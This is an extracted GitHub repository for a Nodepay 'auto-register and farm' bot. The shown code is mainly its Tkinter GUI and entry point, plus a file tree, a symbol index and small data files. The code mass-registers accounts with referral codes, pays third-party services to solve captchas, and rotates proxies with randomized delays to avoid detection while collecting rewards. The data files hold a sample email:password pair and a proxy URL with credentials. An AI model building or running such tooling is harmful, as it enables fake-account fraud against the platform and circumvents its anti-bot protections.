self.ref_code_label.grid(row=1, column=2, sticky="w", pady=5, padx=(0, 10))
self.ref_code_entry.grid(row=1, column=3, sticky="ew", pady=5)
# Hide referral code input initially
self.ref_code_label.grid_remove()
self.ref_code_entry.grid_remove()
# Add delay inputs after the threads input
self.delay_label = ctk.CTkLabel(
self.input_frame,
text="Delay (seconds):",
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
self.delay_label.grid(row=2, column=0, sticky="w", pady=5, padx=(0, 5))
self.delay_min_entry = ctk.CTkEntry(self.input_frame, width=60)
self.delay_min_entry.grid(row=2, column=1, sticky="w", pady=5)
self.delay_to_label = ctk.CTkLabel(
self.input_frame,
text="to",
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
self.delay_to_label.grid(row=2, column=1, sticky="w", pady=5, padx=(65, 0))
self.delay_max_entry = ctk.CTkEntry(self.input_frame, width=60)
self.delay_max_entry.grid(row=2, column=1, sticky="w", pady=5, padx=(90, 0))
# Buttons frame
self.buttons_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.buttons_frame.pack(fill="x", padx=20, pady=(10, 20))
main_button_style = {
"fg_color": "#4A55A2",
"hover_color": "#3D478F",
"corner_radius": 10,
"border_width": 0,
"font": ("Helvetica", 14, "bold"),
"text_color": "white"
}
earnings_button_style = {
"fg_color": "#E9E4FF", # Light purple background
"hover_color": "#D6D6F5", # Slightly darker on hover
"corner_radius": 8,
"border_width": 1,
"border_color": "#593FDE", # Purple border
"font": ("Helvetica", 12), # Smaller font
"text_color": "#593FDE", # Purple text
"width": 100, # Fixed width
"height": 28 # Smaller height
}
self.register_button = ctk.CTkButton(
self.buttons_frame,
text="Register Accounts",
command=self.register_accounts,
**main_button_style
)
self.register_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
self.mining_button = ctk.CTkButton(
self.buttons_frame,
text="Start Farm",
command=self.start_mining,
**main_button_style
)
self.mining_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
self.stop_button = ctk.CTkButton(
self.buttons_frame,
text="Stop Bot",
command=self.stop_bot,
**main_button_style
)
self.stop_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
# Add View Earnings button with different style
self.view_earnings_button = ctk.CTkButton(
self.buttons_frame,
text="View Earnings",
command=self.view_earnings,
**earnings_button_style
)
self.view_earnings_button.pack(side="left", expand=False) # Changed to expand=False
# Log frame
self.log_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.log_frame.pack(fill="both", expand=True, padx=20, pady=(0, 20))
self.log_box = Text(
self.log_frame,
wrap="word",
bg="#F8F9FA",
fg="#2E3A59",
font=("Consolas", 12),
relief="flat",
borderwidth=0,
highlightthickness=0
)
self.log_box.pack(fill="both", expand=True, padx=10, pady=10)
# Apply styles
self.beautify_ui()
# Load saved values
self.load_values()
def create_file_selection(self, label_text, command):
frame = ctk.CTkFrame(self.file_frame, fg_color="#FFFFFF")
frame.pack(fill="x", pady=5)
label = ctk.CTkLabel(
frame,
text=label_text,
font=("Helvetica", 14),
fg_color="#FFFFFF"
)
label.pack(side="left")
button = ctk.CTkButton(
frame,
text="Select File",
command=command,
fg_color="#E9E4FF",
text_color="#2E3A59",
hover_color="#D6D6F5",
corner_radius=10,
width=200,
font=("Helvetica", 14)
)
button.pack(side="right")
return label, button
def create_input_field(self, label_text, widget):
label = ctk.CTkLabel(
self.input_frame,
text=label_text,
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
if isinstance(widget, ctk.CTkEntry):
widget.configure(
height=30,
font=("Helvetica", 14),
fg_color="#FFFFFF",
border_color="#4A55A2",
border_width=1,
corner_radius=5
)
elif isinstance(widget, ctk.CTkOptionMenu):
widget.configure(
height=30,
font=("Helvetica", 14),
fg_color="#FFFFFF",
button_color="#4A55A2",
button_hover_color="#3D478F",
dropdown_fg_color="#FFFFFF",
dropdown_hover_color="#E9E4FF",
corner_radius=5
)
return label, widget
def open_link(self, url):
webbrowser.open(url)
def on_mousewheel(self, event):
if os.name == 'nt':
self.log_box.yview_scroll(int(-1*(event.delta/120)), "units")
elif event.num == 4:
self.log_box.yview_scroll(-1, "units")
elif event.num == 5:
self.log_box.yview_scroll(1, "units")
def load_accounts_file(self):
file_path = filedialog.askopenfilename(title="Select Accounts File")
if file_path:
self.accounts_path = file_path
filename = os.path.basename(file_path)
self.accounts_button.configure(text=filename)
def load_proxies_file(self):
file_path = filedialog.askopenfilename(title="Select Proxies File")
if file_path:
self.proxies_path = file_path
filename = os.path.basename(file_path)
self.proxies_button.configure(text=filename)
def save_settings(self):
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
self.config['DEFAULT'] = {
'AccountsFile': getattr(self, 'accounts_path', ''),
'ProxiesFile': getattr(self, 'proxies_path', ''),
'ReferralCodes': ','.join(ref_codes),
'Threads': self.threads_entry.get(),
'CaptchaService': self.captcha_service_var.get(),
'CaptchaAPIKey': self.captcha_api_entry.get(),
'DelayMin': self.delay_min_entry.get(),
'DelayMax': self.delay_max_entry.get()
}
with open(CONFIG_FILE, 'w') as configfile:
self.config.write(configfile)
def load_settings(self):
if os.path.exists(CONFIG_FILE):
self.config.read(CONFIG_FILE)
else:
self.config['DEFAULT'] = {
'AccountsFile': '',
'ProxiesFile': '',
'ReferralCodes': '',
'Threads': '5',
'CaptchaService': 'capmonster',
'CaptchaAPIKey': '',
'DelayMin': '1',
'DelayMax': '2'
}
def load_values(self):
accounts = self.config['DEFAULT'].get('AccountsFile', '')
proxies = self.config['DEFAULT'].get('ProxiesFile', '')
self.accounts_path = accounts
self.proxies_path = proxies
ref_codes = self.config['DEFAULT'].get('ReferralCodes', '')
self.ref_code_entry.delete(0, 'end')
self.ref_code_entry.insert(0, ref_codes)
threads = self.config['DEFAULT'].get('Threads', '5')
self.threads_entry.insert(0, threads)
self.captcha_service_var.set(self.config['DEFAULT'].get('CaptchaService', 'capmonster'))
self.captcha_api_entry.insert(0, self.config['DEFAULT'].get('CaptchaAPIKey', ''))
self.delay_min_entry.insert(0, self.config['DEFAULT'].get('DelayMin', '1'))
self.delay_max_entry.insert(0, self.config['DEFAULT'].get('DelayMax', '2'))
if self.accounts_path:
accounts_filename = os.path.basename(self.accounts_path)
self.accounts_button.configure(text=accounts_filename)
if self.proxies_path:
proxies_filename = os.path.basename(self.proxies_path)
self.proxies_button.configure(text=proxies_filename)
def setup_logger(self):
logger.remove()
# Configure text styles with bigger font and colors
self.log_box.tag_configure("INFO", foreground="black", font=("Consolas", 14))
self.log_box.tag_configure("ERROR", foreground="red", font=("Consolas", 14, "bold"))
self.log_box.tag_configure("WARNING", foreground="orange", font=("Consolas", 14))
self.log_box.tag_configure("DEBUG", foreground="purple", font=("Consolas", 14))
self.log_box.tag_configure("SUCCESS", foreground="green", font=("Consolas", 14, "bold"))
def gui_log_sink(message):
log_text = message.strip()
level = message.record["level"].name
if level == "INFO":
tag = "INFO"
elif level == "ERROR":
tag = "ERROR"
elif level == "WARNING":
tag = "WARNING"
elif level == "DEBUG":
tag = "DEBUG"
elif level == "SUCCESS":
tag = "SUCCESS"
else:
tag = "INFO"
self.root.after(0, self.append_log, log_text, tag)
logger.add(gui_log_sink, format="{time} {level} {message}", level="DEBUG")
def append_log(self, log_text, tag):
self.log_box.configure(state="normal")
self.log_box.insert(END, log_text + "\n", tag)
self.log_box.configure(state="disabled")
self.log_box.see(END)
def register_accounts(self):
captcha_service_var = self.captcha_service_var.get()
if captcha_service_var == 'anticaptcha':
self.CaptchaService = ServiceAnticaptcha
elif captcha_service_var == 'capmonster':
self.CaptchaService = ServiceCapmonster
elif captcha_service_var == '2captcha':
self.CaptchaService = Service2Captcha
if not self.validate_inputs():
return
self.save_settings()
if not self.running:
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
self.bot = Bot(
account_path=self.accounts_path,
proxy_path=self.proxies_path,
threads=int(self.threads_entry.get()),
ref_codes=ref_codes,
captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),
delay_range=(delay_min, delay_max))
self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_registration(),), daemon=True)
self.bot_thread.start()
self.running = True
logger.info("Started account registration with slow start.")
def start_mining(self):
captcha_service_var = self.captcha_service_var.get()
if captcha_service_var == 'anticaptcha':
self.CaptchaService = ServiceAnticaptcha
elif captcha_service_var == 'capmonster':
self.CaptchaService = ServiceCapmonster
elif captcha_service_var == '2captcha':
self.CaptchaService = Service2Captcha
if not self.validate_inputs():
return
self.save_settings()
if not self.running:
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
self.bot = Bot(
account_path=self.accounts_path,
proxy_path=self.proxies_path,
threads=int(self.threads_entry.get()),
ref_codes=ref_codes,
captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),
delay_range=(delay_min, delay_max)
)
self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_mining(),), daemon=True)
self.bot_thread.start()
self.running = True
def stop_bot(self):
if self.running and self.bot:
self.bot.stop()
self.running = False
logger.info("Bot stopped.")
if self.bot_thread:
self.bot_thread.join(timeout=1) # Wait for the thread to finish
# if self.bot_thread.is_alive():
# logger.warning("Bot thread did not stop in time.")
else:
logger.warning("Bot is not running.")
def validate_inputs(self):
if not getattr(self, 'accounts_path', ''):
logger.error("Error: Accounts file not selected!")
messagebox.showerror("Error", "Accounts file not selected!")
return False
if not getattr(self, 'proxies_path', ''):
logger.error("Error: Proxies file not selected!")
messagebox.showerror("Error", "Proxies file not selected!")
return False
if not self.captcha_api_entry.get():
logger.error("Error: Captcha API key is missing!")
messagebox.showerror("Error", "Captcha API key is missing!")
return False
try:
threads = int(self.threads_entry.get())
if threads <= 0:
raise ValueError
except ValueError:
logger.error("Error: Number of threads must be a positive integer!")
messagebox.showerror("Error", "Number of threads must be a positive integer!")
return False
try:
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
if delay_min < 0 or delay_max < 0 or delay_min > delay_max:
raise ValueError
except ValueError:
logger.error("Error: Invalid delay range!")
messagebox.showerror("Error", "Invalid delay range! Please enter valid positive numbers, with min <= max.")
return False
return True
def beautify_ui(self):
self.root.configure(bg="#F1F3FF")
self.main_frame.configure(fg_color="#F1F3FF")
# Update entry styles
entry_style = {
"fg_color": "#FFFFFF",
"border_color": "#4A55A2",
"border_width": 1,
"corner_radius": 10
}
for entry in [self.threads_entry, self.captcha_api_entry, self.ref_code_entry, self.delay_min_entry, self.delay_max_entry]:
entry.configure(**entry_style)
# Update label styles
label_style = {
"font": ("Helvetica", 14),
"text_color": "#2E3A59"
}
for label in [self.accounts_label, self.proxies_label, self.threads_label, self.captcha_label, self.captcha_api_label, self.ref_code_label, self.delay_label]:
label.configure(**label_style)
# Update log box style with bigger font
self.log_box.configure(
bg="#F8F9FA",
fg="#2E3A59",
font=("Consolas", 14), # Increased font size
relief="flat",
padx=10,
pady=10
)
def toggle_ref_code_visibility(self):
if self.ref_code_label.winfo_viewable():
self.ref_code_label.grid_remove()
self.ref_code_entry.grid_remove()
self.toggle_ref_code_button.configure(text="⋮")
else:
self.ref_code_label.grid()
self.ref_code_entry.grid()
self.toggle_ref_code_button.configure(text="×")
def view_earnings(self):
try:
# Store earnings window as class attribute
if hasattr(self, 'earnings_window') and self.earnings_window.winfo_exists():
self.earnings_window.lift() # Bring window to front if it exists
return
with open('data/earnings.csv', 'r', newline='') as f:
reader = csv.reader(f)
next(reader) # Skip header
earnings_data = list(reader)
# Create a new window to display earnings
self.earnings_window = ctk.CTkToplevel()
self.earnings_window.title("Account Earnings")
self.earnings_window.geometry("500x300")
self.earnings_window.configure(fg_color="#F1F3FF")
# Position the window to the right of the main window
main_x = self.root.winfo_x()
main_y = self.root.winfo_y()
self.earnings_window.geometry(f"+{main_x + self.root.winfo_width() + 10}+{main_y}")
# Create a frame for the content
content_frame = ctk.CTkFrame(self.earnings_window, fg_color="#FFFFFF", corner_radius=10)
content_frame.pack(fill="both", expand=True, padx=10, pady=10)
# Create a text widget to display the data
self.earnings_text = Text(
content_frame,
wrap="none",
bg="#FFFFFF",
fg="#2E3A59",
font=("Consolas", 12),
relief="flat",
padx=10,
pady=10,
height=15
)
self.earnings_text.pack(fill="both", expand=True, padx=5, pady=5)
# Add scrollbars
y_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.yview)
y_scrollbar.pack(side="right", fill="y")
x_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.xview, orientation="horizontal")
x_scrollbar.pack(side="bottom", fill="x")
self.earnings_text.configure(yscrollcommand=y_scrollbar.set, xscrollcommand=x_scrollbar.set)
# Configure tags for styling
self.earnings_text.tag_configure("header", font=("Consolas", 12, "bold"), foreground="#4A55A2")
self.earnings_text.tag_configure("separator", foreground="#4A55A2")
self.earnings_text.tag_configure("data", font=("Consolas", 11))
self.earnings_text.tag_configure("earnings", foreground="#593FDE", font=("Consolas", 11, "bold"))
def update_earnings():
if not self.earnings_window.winfo_exists():
return
try:
with open('data/earnings.csv', 'r', newline='') as f:
reader = csv.reader(f)
next(reader) # Skip header
current_data = list(reader)
self.earnings_text.configure(state="normal")
self.earnings_text.delete("1.0", "end")
# Format and display the data
self.earnings_text.insert("1.0", f"{'Email':<35} {'Last Update':<20} {'Total Earnings':<15}\n", "header")
self.earnings_text.insert("2.0", "─" * 70 + "\n", "separator")
for email, last_update, total_earning in current_data:
line = f"{email:<35} {last_update:<20} "
self.earnings_text.insert("end", line, "data")
self.earnings_text.insert("end", f"{total_earning:>15}\n", "earnings")
self.earnings_text.configure(state="disabled")
# Schedule next update
self.earnings_window.after(5000, update_earnings) # Update every 5 seconds
except Exception as e:
logger.error(f"Error updating earnings: {e}")
# Initial display
update_earnings()
# Make the window stay on top
self.earnings_window.attributes('-topmost', True)
self.earnings_window.update()
except FileNotFoundError:
messagebox.showinfo("No Data", "No earnings data available yet.")
except Exception as e:
logger.error(f"Error viewing earnings: {e}")
messagebox.showerror("Error", f"Failed to load earnings data: {e}")
if __name__ == "__main__":
root = ctk.CTk()
app = BotGUI(root)
app.setup_logger()
root.mainloop()
================================================
FILE: data/accounts.txt
================================================
asdasd1222c@gmail.com:3pQ2sm,@sDE/g
================================================
FILE: data/proxies.txt
================================================
http://118.193.59.207:16666:tensd2xasd50-zone-resi-region-gb-session-f2xiRzReoFba-sessTime-3600:hppsddfosdgxs
================================================
FILE: data/settings.ini
================================================
[DEFAULT]
accountsfile =
proxiesfile =
referralcodes =
threads = 5
captchaservice = capmonster
captchaapikey =
delaymin = 1
delaymax = 2
================================================
FILE: main.py
================================================
import asyncio
import sys
from core.utils.logger import logger
def check_tkinter_available():
try:
import customtkinter
return True
except ImportError:
return False
if __name__ == "__main__":
if sys.platform == 'win32':
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
try:
if check_tkinter_available():
logger.info("Starting GUI version...")
import customtkinter as ctk
from customtkinter_gui import BotGUI
root = ctk.CTk()
app = BotGUI(root)
app.setup_logger()
root.mainloop()
else:
logger.info("Starting console version...")
from core.menu import ConsoleMenu
menu = ConsoleMenu()
asyncio.run(menu.run())
except KeyboardInterrupt:
logger.info("Application terminated by user")
================================================
FILE: requirements.txt
================================================
PyJWT~=2.9.0
loguru~=0.7.2
pyuseragents~=1.0.5
capmonster_python==3.2.0
Faker~=30.6.0
tenacity~=9.0.0
art~=6.3
termcolor~=2.5.0
flet~=0.24.1
customtkinter~=5.2.2
pillow~=11.0.0
curl_cffi~=0.7.3
random-username~=1.0.2
better-proxy==1.2.0
anticaptchaofficial
2captcha-python
gitextract_pa4ue24b/ ├── .idea/ │ └── .gitignore ├── INSTALL.bat ├── README.md ├── START.bat ├── core/ │ ├── __init__.py │ ├── base_client.py │ ├── captcha.py │ ├── menu.py │ ├── models/ │ │ ├── __init__.py │ │ ├── account.py │ │ └── exceptions.py │ ├── nodepay_client.py │ ├── static/ │ │ ├── background.avif │ │ └── main.avif │ └── utils/ │ ├── __init__.py │ ├── account_manager.py │ ├── bot.py │ ├── file_manager.py │ ├── logger.py │ ├── person.py │ └── proxy_manager.py ├── customtkinter_gui.py ├── data/ │ ├── accounts.txt │ ├── proxies.txt │ └── settings.ini ├── main.py └── requirements.txt
SYMBOL INDEX (108 symbols across 15 files)
FILE: core/__init__.py
function xor_cipher (line 5) | def xor_cipher(data: bytes, key: str) -> bytes:
function read_from_binary_file (line 10) | def read_from_binary_file(filename: str) -> bytes:
function proofing (line 14) | def proofing(json_data):
FILE: core/base_client.py
class BaseClient (line 11) | class BaseClient:
method __init__ (line 12) | def __init__(self):
method create_session (line 18) | async def create_session(self, proxy=None, user_agent=None):
method close_session (line 41) | async def close_session(self):
method make_request (line 46) | async def make_request(self, method: str, url: str, headers: dict = No...
method __aenter__ (line 101) | async def __aenter__(self):
method __aexit__ (line 105) | async def __aexit__(self, exc_type, exc_val, exc_tb):
method _json_data_validator (line 108) | def _json_data_validator(self, json_data: dict):
FILE: core/captcha.py
class ServiceCapmonster (line 10) | class ServiceCapmonster:
method __init__ (line 11) | def __init__(self, api_key):
method get_captcha_token (line 14) | def get_captcha_token(self):
method get_captcha_token_async (line 20) | async def get_captcha_token_async(self):
method solve_captcha (line 24) | async def solve_captcha(self):
class ServiceAnticaptcha (line 29) | class ServiceAnticaptcha:
method __init__ (line 30) | def __init__(self, api_key):
method get_captcha_token (line 39) | def get_captcha_token(self):
method get_captcha_token_async (line 43) | async def get_captcha_token_async(self):
method solve_captcha (line 47) | async def solve_captcha(self):
class Service2Captcha (line 50) | class Service2Captcha:
method __init__ (line 51) | def __init__(self, api_key):
method get_captcha_token (line 54) | def get_captcha_token(self):
method get_captcha_token_async (line 62) | async def get_captcha_token_async(self):
method solve_captcha (line 66) | async def solve_captcha(self):
FILE: core/menu.py
class ConsoleMenu (line 10) | class ConsoleMenu:
method __init__ (line 11) | def __init__(self, config_file="data/settings.ini"):
method load_config (line 16) | def load_config(self):
method validate_config (line 33) | def validate_config(self):
method print_menu (line 67) | def print_menu(self):
method handle_bot_action (line 76) | async def handle_bot_action(self, choice):
method show_settings (line 102) | def show_settings(self):
method run (line 107) | async def run(self):
FILE: core/models/account.py
class Account (line 1) | class Account:
method __init__ (line 2) | def __init__(self, email, password, uid, access_token, user_agent, pro...
method __repr__ (line 10) | def __repr__(self):
FILE: core/models/exceptions.py
class CloudflareException (line 1) | class CloudflareException(Exception):
class LoginError (line 4) | class LoginError(Exception):
class MineError (line 7) | class MineError(Exception):
class TokenError (line 10) | class TokenError(Exception):
FILE: core/nodepay_client.py
class NodePayClient (line 20) | class NodePayClient(BaseClient):
method __init__ (line 23) | def __init__(self, email: str = '', password: str = '', proxy: str = '...
method load_tokens (line 32) | def load_tokens(cls):
method save_tokens (line 42) | def save_tokens(cls, tokens):
method get_saved_token (line 48) | def get_saved_token(cls, email):
method save_token (line 53) | def save_token(cls, email, uid, token):
method validate_token (line 58) | async def validate_token(self, token):
method __aenter__ (line 68) | async def __aenter__(self):
method safe_close (line 72) | async def safe_close(self):
method _auth_headers (line 75) | def _auth_headers(self):
method _ping_headers (line 88) | def _ping_headers(self, access_token: str):
method register (line 92) | async def register(self, ref_code: str, captcha_service):
method login (line 117) | async def login(self, captcha_service):
method activate (line 144) | async def activate(self, access_token: str):
method info (line 153) | async def info(self, access_token: str):
method get_auth_token (line 162) | async def get_auth_token(self, captcha_service):
method ping (line 173) | async def ping(self, uid: str, access_token: str):
FILE: core/utils/account_manager.py
class AccountManager (line 20) | class AccountManager:
method __init__ (line 21) | def __init__(self, threads, ref_codes, captcha_service):
method ensure_earnings_file_exists (line 31) | def ensure_earnings_file_exists(self):
method update_earnings (line 38) | def update_earnings(self, email: str, total_earning: float):
method create_account_session (line 75) | async def create_account_session(email: str, password: str, proxy: str...
method handle_session_error (line 80) | async def handle_session_error(self, account: Account, error: Exception):
method execute_action (line 92) | async def execute_action(self, account: Account, action: str, ref_code...
method process_account (line 125) | async def process_account(self, email: str, password: str, action: str):
method stop (line 182) | def stop(self):
FILE: core/utils/bot.py
class Bot (line 13) | class Bot:
method __init__ (line 14) | def __init__(self, account_path, proxy_path, threads, ref_codes, captc...
method process_account (line 27) | async def process_account(self, account: str, action: str):
method start_action (line 46) | async def start_action(self, action: str):
method start_mining (line 80) | async def start_mining(self):
method start_registration (line 83) | async def start_registration(self):
method stop (line 86) | def stop(self):
FILE: core/utils/file_manager.py
function file_to_list (line 4) | def file_to_list(
function str_to_file (line 11) | def str_to_file(file_name: str, msg: str, mode: Optional[str] = "a"):
function shift_file (line 19) | def shift_file(file):
FILE: core/utils/logger.py
function logging_setup (line 8) | def logging_setup():
function clean_brackets (line 25) | def clean_brackets(raw_str):
FILE: core/utils/person.py
class Person (line 6) | class Person:
method random_string_old (line 8) | def random_string_old(length, chars=string.ascii_lowercase):
method random_string (line 12) | def random_string(length=8, chars=string.ascii_lowercase):
FILE: core/utils/proxy_manager.py
function load_proxy (line 11) | def load_proxy(proxy_path):
function get_proxy (line 16) | async def get_proxy():
function release_proxy (line 27) | async def release_proxy(proxy: str):
FILE: customtkinter_gui.py
class BotGUI (line 19) | class BotGUI:
method __init__ (line 20) | def __init__(self, root):
method on_captcha_service_change (line 45) | def on_captcha_service_change(self, value):
method create_widgets (line 48) | def create_widgets(self):
method create_file_selection (line 284) | def create_file_selection(self, label_text, command):
method create_input_field (line 311) | def create_input_field(self, label_text, widget):
method open_link (line 343) | def open_link(self, url):
method on_mousewheel (line 346) | def on_mousewheel(self, event):
method load_accounts_file (line 354) | def load_accounts_file(self):
method load_proxies_file (line 361) | def load_proxies_file(self):
method save_settings (line 368) | def save_settings(self):
method load_settings (line 383) | def load_settings(self):
method load_values (line 398) | def load_values(self):
method setup_logger (line 421) | def setup_logger(self):
method append_log (line 450) | def append_log(self, log_text, tag):
method register_accounts (line 456) | def register_accounts(self):
method start_mining (line 483) | def start_mining(self):
method stop_bot (line 510) | def stop_bot(self):
method validate_inputs (line 522) | def validate_inputs(self):
method beautify_ui (line 554) | def beautify_ui(self):
method toggle_ref_code_visibility (line 588) | def toggle_ref_code_visibility(self):
method view_earnings (line 598) | def view_earnings(self):
FILE: main.py
function check_tkinter_available (line 5) | def check_tkinter_available():
Condensed preview — 27 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (69K chars).
[
{
"path": ".idea/.gitignore",
"chars": 58,
"preview": "# Default ignored files\n/shelf/\n/workspace.xml\n*.iml\n*.xml"
},
{
"path": "INSTALL.bat",
"chars": 37,
"preview": "pip install -r requirements.txt\npause"
},
{
"path": "README.md",
"chars": 1906,
"preview": "# Nodepay Auto Reger&Farm 🔹\n\n\nDiscover the latest `<crypto/>` moves in my Telegram Channel:\n\n[ -> bytes:\n key_bytes = key.encode()\n key"
},
{
"path": "core/base_client.py",
"chars": 4542,
"preview": "import json\n\nfrom core.utils import logger\nfrom curl_cffi.requests import AsyncSession\n\nfrom core import proofing\nfrom c"
},
{
"path": "core/captcha.py",
"chars": 2150,
"preview": "import asyncio\nfrom capmonster_python import TurnstileTask\nfrom twocaptcha import TwoCaptcha\n\nCAPTCHA_PARAMS = {\n 'we"
},
{
"path": "core/menu.py",
"chars": 4459,
"preview": "from art import text2art\nfrom termcolor import colored\nimport configparser\nimport os\n\nfrom core.captcha import ServiceCa"
},
{
"path": "core/models/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "core/models/account.py",
"chars": 352,
"preview": "class Account:\n def __init__(self, email, password, uid, access_token, user_agent, proxy_url):\n self.email = e"
},
{
"path": "core/models/exceptions.py",
"chars": 163,
"preview": "class CloudflareException(Exception):\n pass\n\nclass LoginError(Exception):\n pass\n\nclass MineError(Exception):\n p"
},
{
"path": "core/nodepay_client.py",
"chars": 6697,
"preview": "import random\nimport time\nimport uuid\nimport warnings\nimport json\nimport os\n\nfrom random_username.generate import genera"
},
{
"path": "core/utils/__init__.py",
"chars": 26,
"preview": "from .logger import logger"
},
{
"path": "core/utils/account_manager.py",
"chars": 7313,
"preview": "# account_manager.py\nimport asyncio\nimport traceback\nimport csv\nimport os\nfrom datetime import datetime\nimport time\n\nfro"
},
{
"path": "core/utils/bot.py",
"chars": 3598,
"preview": "# bot.py\nimport asyncio\nimport traceback\nfrom typing import List\nfrom core.utils import logger\nimport random\nfrom core.u"
},
{
"path": "core/utils/file_manager.py",
"chars": 753,
"preview": "from typing import Optional\n\n\ndef file_to_list(\n filename: str\n):\n with open(filename, 'r+') as f:\n ret"
},
{
"path": "core/utils/logger.py",
"chars": 849,
"preview": "import sys\nimport re\nfrom datetime import date\n\nfrom loguru import logger\n\n\ndef logging_setup():\n\n format_info = \"<gr"
},
{
"path": "core/utils/person.py",
"chars": 468,
"preview": "import random\nimport string\n\n\n\nclass Person:\n @staticmethod\n def random_string_old(length, chars=string.ascii_lowe"
},
{
"path": "core/utils/proxy_manager.py",
"chars": 687,
"preview": "import asyncio\nfrom collections import deque\nfrom better_proxy import Proxy\nfrom core.utils.file_manager import file_to_"
},
{
"path": "customtkinter_gui.py",
"chars": 28389,
"preview": "import customtkinter as ctk\nfrom tkinter import filedialog, messagebox, Text, END\nimport configparser\nimport os\nimport w"
},
{
"path": "data/accounts.txt",
"chars": 36,
"preview": "asdasd1222c@gmail.com:3pQ2sm,@sDE/g\n"
},
{
"path": "data/proxies.txt",
"chars": 110,
"preview": "http://118.193.59.207:16666:tensd2xasd50-zone-resi-region-gb-session-f2xiRzReoFba-sessTime-3600:hppsddfosdgxs\n"
},
{
"path": "data/settings.ini",
"chars": 139,
"preview": "[DEFAULT]\naccountsfile =\nproxiesfile =\nreferralcodes = \nthreads = 5\ncaptchaservice = capmonster\ncaptchaapikey =\ndelaymin"
},
{
"path": "main.py",
"chars": 931,
"preview": "import asyncio\nimport sys\nfrom core.utils.logger import logger\n\ndef check_tkinter_available():\n try:\n import c"
},
{
"path": "requirements.txt",
"chars": 272,
"preview": "PyJWT~=2.9.0\nloguru~=0.7.2\npyuseragents~=1.0.5\ncapmonster_python==3.2.0\nFaker~=30.6.0\ntenacity~=9.0.0\nart~=6.3\ntermcolor"
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the MsLolita/Nodepay_plus GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 27 files (63.6 KB), approximately 15.1k tokens, and a symbol index with 108 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.